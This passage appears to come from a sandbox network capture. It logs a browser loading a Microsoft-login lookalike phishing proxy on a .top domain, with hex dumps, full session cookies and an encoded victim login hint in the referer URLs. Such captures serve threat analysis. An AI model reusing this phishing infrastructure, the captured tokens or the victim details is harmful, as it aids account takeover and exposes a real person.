e5 6d eb f9 6b bf 07 ed 33 68 2d be 8a 53 f8 7a 9e ad 6e e1 f7 75 d9 4a b3 32 9e b3 56 94 2e a8 b5 04 1e d2 82 b5 aa 74 c1 f2 d6 e7 eb 78 7e dd fa 25 9e e7 59 91 Data Ascii: k{0}hHjdc=710VDo?UwI'sNE4}k=juwOk?zv2NX^F[8g*7VyZ<E]$\|zmk3h-SznuJ2V.tx~%Y
2024-04-25 18:37:03 UTC	1386	IN	Data Raw: ec f3 c8 d9 e7 d9 7a 78 d4 0f a8 77 d9 a9 7b 00 ca 16 4d 63 eb 5f 0c 4c cf 01 a3 b5 83 5d cd d6 d3 73 7a 32 c0 26 c8 e3 9b 29 ff e3 f9 e4 9e 2b 72 16 fc f5 7d d1 59 c3 7f 7f e0 69 0b 36 68 6a 2f 5f fe 44 99 1d ea 3e c1 22 b6 c1 58 6e 0e 32 31 06 09 af 13 b6 c3 b6 19 8a c7 74 f8 fb bb 3e 7d 8c 8b 6d 20 fc 48 83 3d 38 ff ce 43 1d e0 26 33 1c dc e9 ac 2c e9 84 24 af 02 6d 4b b1 f1 8d e4 b3 a9 07 6b ee 63 10 b7 c3 46 10 b7 b2 c7 13 2c fe 12 ad fe c4 83 02 66 3c ae fe 91 ef 78 13 18 d5 9f 66 69 81 a1 ab 29 9e da 99 df 7c a1 2a bf c4 ac a2 18 77 7b e0 1b 25 38 9e a3 2d a9 8c 71 00 c7 3c 68 db 71 5f 04 6d 3b 3e 39 f1 7b b4 ae 6f 59 09 84 06 bb 3d f5 7b d0 e1 0a 08 d8 8b b8 28 6b 61 bc 39 29 c7 a0 ce 44 e6 3f 50 4a dd 0c d3 fd 3e c9 31 50 46 1b 0b da 94 4d 41 56 Data Ascii: zxw{Mc_L]sz2&)+r}Yi6hj/_D>"Xn21t>}m H=8C&3,$mKkcF,f<xfi)\|*w{%8-q<hq_m;>9{oY={(ka9)D?PJ>1PFMAV
2024-04-25 18:37:03 UTC	9510	IN	Data Raw: 23 30 22 75 c1 a1 5b a0 67 5c a3 58 32 27 9a 62 c7 a1 cd 04 4a 6f 34 45 70 03 b3 9f b8 bb 44 67 b9 38 b0 3b 37 09 72 77 d0 9d 93 c7 5d ad 74 cb 27 62 b8 95 4f e1 cc ec 52 35 5a 41 ba 85 ae 58 30 9c 7a a4 44 c9 ad f6 53 1e c9 0b d9 b1 eb 4e c8 a4 8e e4 ba 86 5b 12 3a 6f 2d f6 c5 6d f2 c4 30 68 7d 23 11 e4 9e 9b 3f 92 16 d1 30 7e c9 4a 72 85 b5 29 df 30 5f 1a eb d9 6c 18 53 82 a5 60 c4 f4 88 e1 a4 79 f5 39 95 31 36 4c f7 9f da 08 80 a3 9a ba 59 be 74 46 4c b3 9b cc 37 3d 92 b8 1f ee 9d 10 a3 05 97 29 9e c4 3e 2e 6c de d3 d8 56 b4 50 23 73 d1 f4 3b b9 0b e5 c7 f5 6d ee f9 9b b1 01 46 c9 8c 23 77 85 a0 24 36 cb 28 53 7c 77 93 65 37 c5 fa c6 fb 2d 3c b6 f1 99 42 0b 5e d1 8d 33 ba 76 60 76 87 62 70 1d c2 5b b3 43 d5 28 26 75 c7 17 04 33 de 04 4e c5 54 84 4a a3 Data Ascii: #0"u[g\X2'bJo4EpDg8;7rw]t'bOR5ZAX0zDSN[:o-m0h}#?0~Jr)0_lS`y916LYtFL7=)>.lVP#s;mF#w$6(S\|we7-<B^3v`vbp[C(&u3NTJ
2024-04-25 18:37:03 UTC	6289	IN	Data Raw: cd 3d fb 73 db 36 d2 bf 7f 7f 85 cd 7a 1c 22 82 9f 79 34 21 c3 ea 1c 57 ed b4 13 c7 19 ab b9 cc 8d ac 78 68 99 b2 d9 c8 62 4a 52 76 12 4b f7 b7 df 3e 00 10 20 29 c5 c9 f5 66 be 1f 6c 52 20 9e 8b c5 02 fb c0 2e 05 2d d7 3f 0a ce 04 a9 97 98 f7 e2 02 bd 76 20 51 a7 df 80 eb 09 bf 8c c7 f4 64 d7 ed 4e 1e 4e 3a 98 4c 74 6a 41 c9 c9 75 5a d2 8b 62 c3 9c 32 2a ed 18 aa 77 d2 27 a6 8a a6 1a 75 30 c4 8e aa d8 64 91 cb 00 d7 48 ac 0a 8a a2 33 6b 9d a4 b9 b1 4f 56 31 db a3 db 8b a6 08 cb 43 4f cb f0 ed ea 22 cd ef d7 08 65 5d d2 c4 ec 3a 2e 3e b4 c8 c9 76 49 58 f9 55 a7 91 2b 02 7d d4 d7 fb 20 19 aa f5 1a e2 3b e6 6f f3 9f 87 2a a6 6c 02 67 2d f5 02 db 6e 3e 75 7f 99 e8 27 39 ee 85 4b e3 9d 3c 7f fc 37 45 45 82 dd 97 82 df 3c 7d fe e4 6b e1 3c ed 9d b9 4d 0b de a6 Data Ascii: =s6z"y4!WxhbJRvK> )flR .-?v QdNN:LtjAuZb2w'u0dH3kOV1CO"e]:.>vIXU+} ;olg-n>u'9K<7EE<}k<M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	49763	52.96.122.82	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:37:02 UTC	736	OUT	GET /owa/prefetch.aspx HTTP/1.1 Host: outlook.office365.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 18:37:03 UTC	1908	IN	HTTP/1.1 200 OK Cache-Control: private, no-store Content-Length: 2745 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 request-id: b2486184-6463-5996-7ca9-9ecfc10207a1 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-CalculatedFETarget: MW2PR2101CU001.internal.outlook.com X-BackEndHttpStatus: 200 Set-Cookie: ClientId=766B10A401204FEFA5DC465F7F8664AE; expires=Fri, 25-Apr-2025 18:37:02 GMT; path=/;SameSite=None; secure Set-Cookie: ClientId=766B10A401204FEFA5DC465F7F8664AE; expires=Fri, 25-Apr-2025 18:37:02 GMT; path=/;SameSite=None; secure Set-Cookie: OIDC=1; expires=Fri, 25-Oct-2024 18:37:02 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OWAPF=v:15.20.7472.44&l:mouse; path=/; secure; HttpOnly X-CalculatedBETarget: CO6PR04MB8316.namprd04.PROD.OUTLOOK.COM X-BackEndHttpStatus: 200 X-RUM-Validated: 1 X-RUM-NotUpdateQueriedPath: 1 X-RUM-NotUpdateQueriedDbCopy: 1 X-Content-Type-Options: nosniff X-BeSku: WCS7 X-OWA-Version: 15.20.7472.44 X-OWA-DiagnosticsInfo: 1;0;0 X-IIDs: 0 X-BackEnd-Begin: 2024-04-25T18:37:02.934 X-BackEnd-End: 2024-04-25T18:37:02.934 X-DiagInfo: CO6PR04MB8316 X-BEServer: CO6PR04MB8316 X-UA-Compatible: IE=EmulateIE7 X-Proxy-RoutingCorrectness: 1 X-Proxy-BackendServerStatus: 200 X-FEProxyInfo: BN0PR04CA0131.NAMPRD04.PROD.OUTLOOK.COM X-FEEFZInfo: LYH X-FEServer: MW2PR2101CA0011 Report-To: {"group":"NelOfficeUpload1","max_age":7200,"endpoints":[{"url":"https://exo.nel.measure.office.net/api/report?TenantId=&FrontEnd=Cafe&DestinationEndpoint=LYH&RemoteIP=185.152.66.230"}],"include_subdomains":true} NEL: {"report_to":"NelOfficeUpload1","max_age":7200,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} X-FirstHopCafeEFZ: LYH X-FEServer: BN0PR04CA0131 Date: Thu, 25 Apr 2024 18:37:02 GMT Connection: close
2024-04-25 18:37:03 UTC	2745	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 72 65 66 65 74 63 68 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 0d 0a 0d 0a 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 6f 66 66 69 63 65 33 36 35 69 63 6f 6e 73 27 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 72 63 3a 20 75 72 6c 28 27 68 74 74 70 73 3a 2f Data Ascii: <!DOCTYPE html><html><head> <title>Prefetch</title> <meta http-equiv="x-ua-compatible" content="IE=Edge"> <style> @font-face { font-family: 'office365icons'; src: url('https:/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	49765	138.124.184.68	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:37:03 UTC	2911	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_ppassword_f7b06b70c72b4590b779.js HTTP/1.1 Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA; brcap=0
2024-04-25 18:37:04 UTC	1385	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:37:03 GMT Content-Type: application/x-javascript content-length: 24207 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 26 Jan 2023 00:32:55 GMT ETag: 0x8DAFF34DE3A6EC5 x-ms-request-id: 06cb11a5-301e-0005-183f-976294000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240425T183703Z-1556fcfc99cvblms8z5rrd1f10000000070000000000276a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-04-25 18:37:04 UTC	10	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 Data Ascii:
2024-04-25 18:37:04 UTC	7102	IN	Data Raw: dd 3c 79 77 db 36 f2 ff ef a7 a0 b5 7d 36 b9 85 19 3b 6d d3 96 2e eb e7 33 56 e3 43 6b c9 c9 b6 89 9f 1e 45 42 12 63 8a e0 92 90 65 d5 d6 77 df 19 00 bc 49 5b e9 6e f7 77 a8 af 91 89 63 30 98 7b 06 a0 5e fd 6d e3 2f da df b4 ed f5 3f 5a 7f 70 70 3d d0 ae 4e b5 c1 59 f7 fa 58 eb c1 d3 af da e5 d5 a0 7b 74 b2 3e 1c 5c 14 ff 1f 4c fd 44 1b fb 01 d5 e0 7b e4 24 d4 d3 58 a8 b1 58 f3 43 97 c5 11 8b 1d 4e 13 6d 06 ff c6 be 13 68 e3 98 cd 34 3e a5 5a 14 b3 cf d4 e5 89 16 f8 09 87 49 23 1a b0 85 a6 03 b8 d8 d3 7a 4e cc 97 5a b7 67 98 00 9f 02 34 7f e2 87 30 db 65 d1 12 fe 9e 72 2d 64 dc 77 a9 e6 84 9e 80 16 c0 43 98 50 6d 1e 7a 34 d6 16 53 df 9d 6a 17 be 1b b3 84 8d b9 16 53 97 fa f7 b0 48 32 87 f6 f2 12 44 73 62 aa 25 94 6b 63 16 f3 a9 c4 c3 d4 fa 38 52 41 4d c4 Data Ascii: <yw6}6;m.3VCkEBcewI[nwc0{^m/?Zpp=NYX{t>\LD{$XXCNmh4>ZI#zNZg40er-dwCPmz4SjSH2Dsb%kc8RAM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.7	49767	138.124.184.68	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:37:03 UTC	2972	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_white_166de53471265253ab3a456defe6da23.gif HTTP/1.1 Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA; brcap=0
2024-04-25 18:37:04 UTC	735	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:37:03 GMT Content-Type: image/gif Content-Length: 2672 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 17 Jan 2020 19:28:37 GMT ETag: 0x8D79B83739984DD x-ms-request-id: ab70e50b-901e-0077-1f3f-97c690000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240425T183703Z-174886c4d465p89q6h2axutybg000000018g0000000062g3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-25 18:37:04 UTC	2672	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 ff ff ff 96 96 96 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 06 00 00 00 30 00 03 00 00 02 1a 8c 01 16 88 ca ec 1e 3c f2 a9 18 1b b5 5b e6 9a 5c 4b 38 6a e5 74 72 a9 67 14 00 21 f9 04 09 03 00 00 00 2c 07 00 00 00 33 00 03 00 00 02 1a 8c 81 16 c8 ca ef 5e 3b 12 2a 0a e2 5c 55 4b df 5d 5c 86 25 e5 56 99 63 aa 14 00 21 f9 04 09 05 00 00 00 2c 0a 00 00 00 37 00 03 00 00 02 1a 8c 81 60 91 b9 ed 0e 6c 6f c6 c5 ee ac 90 5b bf 61 19 02 2a 52 77 7e 69 18 14 00 21 Data Ascii: GIF89a`!NETSCAPE2.0!,`6PlHI:qJk`BYL&!,0<[\K8jtrg!,3^;\UK]\%Vc!,7`lo[a*Rw~i!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	49766	138.124.184.68	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:37:03 UTC	2966	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_b540a8e518037192e32c4fe58bf2dbab.gif HTTP/1.1 Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; 